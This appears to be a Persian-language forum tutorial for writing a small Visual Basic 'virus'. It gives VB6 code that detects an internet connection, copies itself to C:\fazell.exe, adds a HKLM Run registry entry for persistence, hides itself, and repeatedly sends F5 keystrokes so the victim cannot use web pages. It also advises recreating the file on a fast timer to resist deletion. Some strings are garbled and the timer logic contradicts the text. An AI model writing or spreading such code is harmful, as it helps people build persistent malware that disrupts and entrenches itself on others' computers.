سلام . این دستورات نشون میده freemind یعنی این. تا حالا به این فکر کردیم که بدترین چیز چیه ؟ اینه که وقتی به اینترنت وصل میشین نتونین صفحه ای را باز کنین و فقط چاره اش نصب دوباره ویندوز بشه . منظورم از باز نشدن صفحه اینه که هر 1 ثانیه صفحه اینترنتو دوباره خونی کنه . وای ...
خب این ویروس تشخیص میده که ایا به اینترنت وصل هستی یا نه ؟ اگه بودی شروع میکنه به ارسال F5 یعنی رفرش . و هیچوقت شما نمیتونید توی اینترنت حال کنین ... وای
خب یه api وجد داره واسه تشخیص وصل بودن به اینترنت که باید اونو توی جنرال بنویسین که اینه :
کد:
Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
Private Const RAS95_MaxEntryName = 256
Private Const RAS95_MaxDeviceType = 16
Private Const RAS95_MaxDeviceName = 32
Private Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(RAS95_MaxEntryName) As Byte
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
'------------------------------------fazell nasiri ÝÇÖá Ìæä ÏÑ ÎÏãÊ ÔãÇÓÊ
Private Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type این هم Function برای api تعریف شده:
کد:
Private Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95
TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
'
RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
If RetVal <> 0 Then
MsgBox "ERROR"
Exit Function
End If
Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
IsConnected = True
Else
IsConnected = False
End If این هم دستوری که توی form_load باید نوشت :
کد:
Private Sub Form_Load()
If IsConnected = True Then
Timer1.Enabled = False
Else
msg = MsgBox("Not Connect to internet !", , "ÝÇÖá äÕíÑí")
End If
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & "fazell.exe"
Set reg = CreateObject("wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, "C:\fazell.exe"
App.TaskVisible = False
Me.Hide
End Sub و این هم دستور ارسال F5 توی یه تایمر:
کد:
Private Sub Timer1_Timer()
SendKeys ("{f5}")
End Sub یادتون نر که timer1.enable=false در هنگام اجرای برنامه باشه.
بچه ها هرچه قدر مقدار interval تایمر کمتر باشه کار زیاد جالب نمیشه. خوب اینه که بعد چند ثانیه همینکه لود شدشن داره تموم میشه دوباره لود کنه . که اگه به function نگاه بندازین شرطی گذاشتم که گفته شد اگه به اینترنت وصل شده پس تایمر 1 فعال بشه. در تایمر هم F5 را ارسال میکنیم.
راستی این موضوع خیلی مهمه . اگه میخواین شکل ویروس را پیدا کنه بهید دستوری را که در لود فرم نوشتی را توی یه تایمر با INTERVAL =1 قرار بدین اگه کسی خواست فایلو پاک کنه فایله دوباره ساخته بشه و خودشو کپی کنه تو رجیستری.
چقدر حرف میزنم . یادتون نره برنامه را با نام fazell ذخیره کنین. به cod نگها بندازین تا متوجه موضوع شین